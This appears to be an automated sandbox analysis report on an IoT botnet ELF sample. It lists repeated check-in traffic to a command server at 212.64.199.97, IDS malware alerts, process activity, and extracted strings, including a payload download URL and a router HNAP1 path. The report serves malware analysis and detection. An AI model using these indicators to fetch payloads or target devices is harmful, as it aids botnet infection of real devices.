Jan 3, 2025 08:18:50.586541891 CET	65525	53158	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:50.586730003 CET	53158	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:50.587238073 CET	53160	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:50.591567993 CET	65525	53158	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:50.592148066 CET	65525	53160	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:50.592190981 CET	53160	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:50.592214108 CET	53160	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:50.597053051 CET	65525	53160	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:52.377216101 CET	65525	53160	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:52.377449989 CET	53160	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:52.377998114 CET	53162	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:52.382364988 CET	65525	53160	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:52.382807016 CET	65525	53162	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:52.382853985 CET	53162	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:52.382889032 CET	53162	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:52.387650013 CET	65525	53162	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:54.149383068 CET	65525	53162	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:54.149581909 CET	53162	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:54.150060892 CET	53164	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:54.154448986 CET	65525	53162	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:54.154926062 CET	65525	53164	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:54.154968023 CET	53164	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:54.154999971 CET	53164	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:54.159733057 CET	65525	53164	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:55.914484024 CET	65525	53164	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:55.914622068 CET	53164	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:55.914622068 CET	53164	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:55.915108919 CET	53166	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:55.919476986 CET	65525	53164	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:55.919945002 CET	65525	53166	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:55.920002937 CET	53166	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:55.920047045 CET	53166	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:55.924835920 CET	65525	53166	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:57.681763887 CET	65525	53166	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:57.682044983 CET	53166	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:57.682588100 CET	53168	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:57.686804056 CET	65525	53166	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:57.687390089 CET	65525	53168	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:57.687429905 CET	53168	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:57.687454939 CET	53168	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:57.692212105 CET	65525	53168	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:59.451627016 CET	65525	53168	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:59.451864958 CET	53168	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:59.452625990 CET	53170	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:59.456688881 CET	65525	53168	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:59.457444906 CET	65525	53170	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:59.457513094 CET	53170	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:59.457580090 CET	53170	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:59.462340117 CET	65525	53170	212.64.199.97	192.168.2.23
Jan 3, 2025 08:19:01.235340118 CET	65525	53170	212.64.199.97	192.168.2.23
Jan 3, 2025 08:19:01.235502958 CET	53170	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:19:01.236027956 CET	53172	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:19:01.240391970 CET	65525	53170	212.64.199.97	192.168.2.23
Jan 3, 2025 08:19:01.240806103 CET	65525	53172	212.64.199.97	192.168.2.23
Jan 3, 2025 08:19:01.240849018 CET	53172	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:19:01.240876913 CET	53172	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:19:01.245687962 CET	65525	53172	212.64.199.97	192.168.2.23
Jan 3, 2025 08:19:03.013961077 CET	65525	53172	212.64.199.97	192.168.2.23
Jan 3, 2025 08:19:03.014240026 CET	53172	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:19:03.015028954 CET	53174	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:19:03.019059896 CET	65525	53172	212.64.199.97	192.168.2.23
Jan 3, 2025 08:19:03.019850016 CET	65525	53174	212.64.199.97	192.168.2.23
Jan 3, 2025 08:19:03.019942999 CET	53174	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:19:03.020010948 CET	53174	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:19:03.024876118 CET	65525	53174	212.64.199.97	192.168.2.23
Jan 3, 2025 08:19:04.792623997 CET	65525	53174	212.64.199.97	192.168.2.23
Jan 3, 2025 08:19:04.793090105 CET	53174	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:19:04.793878078 CET	53176	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:19:04.798012972 CET	65525	53174	212.64.199.97	192.168.2.23
Jan 3, 2025 08:19:04.798724890 CET	65525	53176	212.64.199.97	192.168.2.23
Jan 3, 2025 08:19:04.798787117 CET	53176	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:19:04.798810005 CET	53176	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:19:04.803659916 CET	65525	53176	212.64.199.97	192.168.2.23
Jan 3, 2025 08:19:06.578537941 CET	65525	53176	212.64.199.97	192.168.2.23
Jan 3, 2025 08:19:06.578725100 CET	53176	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:19:06.579216957 CET	53178	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:19:06.583610058 CET	65525	53176	212.64.199.97	192.168.2.23
Jan 3, 2025 08:19:06.584027052 CET	65525	53178	212.64.199.97	192.168.2.23
Jan 3, 2025 08:19:06.584067106 CET	53178	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:19:06.584100008 CET	53178	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:19:06.588907003 CET	65525	53178	212.64.199.97	192.168.2.23
Jan 3, 2025 08:19:08.375598907 CET	65525	53178	212.64.199.97	192.168.2.23
Jan 3, 2025 08:19:08.375859976 CET	53178	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:19:08.376796007 CET	53180	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:19:08.380681992 CET	65525	53178	212.64.199.97	192.168.2.23
Jan 3, 2025 08:19:08.381669044 CET	65525	53180	212.64.199.97	192.168.2.23
Jan 3, 2025 08:19:08.381732941 CET	53180	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:19:08.381817102 CET	53180	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:19:08.386563063 CET	65525	53180	212.64.199.97	192.168.2.23

System Behavior

Analysis Process: dash PID: 6234, Parent PID: 4331

General

Start time (UTC):	07:15:27
Start date (UTC):	03/01/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	07:15:27
Start date (UTC):	03/01/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.vQKnlJr706 /tmp/tmp.j3d074gH3Z /tmp/tmp.50QNuLNxDb
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	07:15:27
Start date (UTC):	03/01/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	07:15:27
Start date (UTC):	03/01/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.vQKnlJr706 /tmp/tmp.j3d074gH3Z /tmp/tmp.50QNuLNxDb
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	07:15:34
Start date (UTC):	03/01/2025
Path:	/tmp/m68k.elf
Arguments:	/tmp/m68k.elf
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	07:15:34
Start date (UTC):	03/01/2025
Path:	/tmp/m68k.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	07:15:34
Start date (UTC):	03/01/2025
Path:	/tmp/m68k.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Source: m68k.elf	Virustotal: Detection: 63%			Perma Link
Source: m68k.elf	ReversingLabs: Detection: 65%

Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53016 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53024 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53018 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53012 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53026 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53020 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53014 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53036 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53040 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53028 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53022 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53032 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53030 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53038 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53034 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53044 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53098 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53126 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53054 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53042 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53048 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53064 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53058 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53052 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53102 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53158 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53118 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53140 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53072 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53056 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53068 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53174 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53078 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53082 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53062 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53060 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53076 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53142 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53088 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53084 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53066 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53104 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53090 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53166 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53152 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53172 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53100 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53176 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53094 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53112 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53080 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53120 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53160 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53092 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53130 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53170 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53180 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53108 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53162 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53134 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53154 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53156 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53074 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53150 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53148 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53046 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53138 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53106 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53114 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53164 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53144 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53132 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53070 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53122 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53110 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53146 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53116 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53124 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53168 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53178 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53086 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53096 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53136 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53128 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53050 -> 212.64.199.97:65525

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: m68k.elf	String found in binary or memory: http://212.64.199.97/Simps/mips
Source: m68k.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: m68k.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
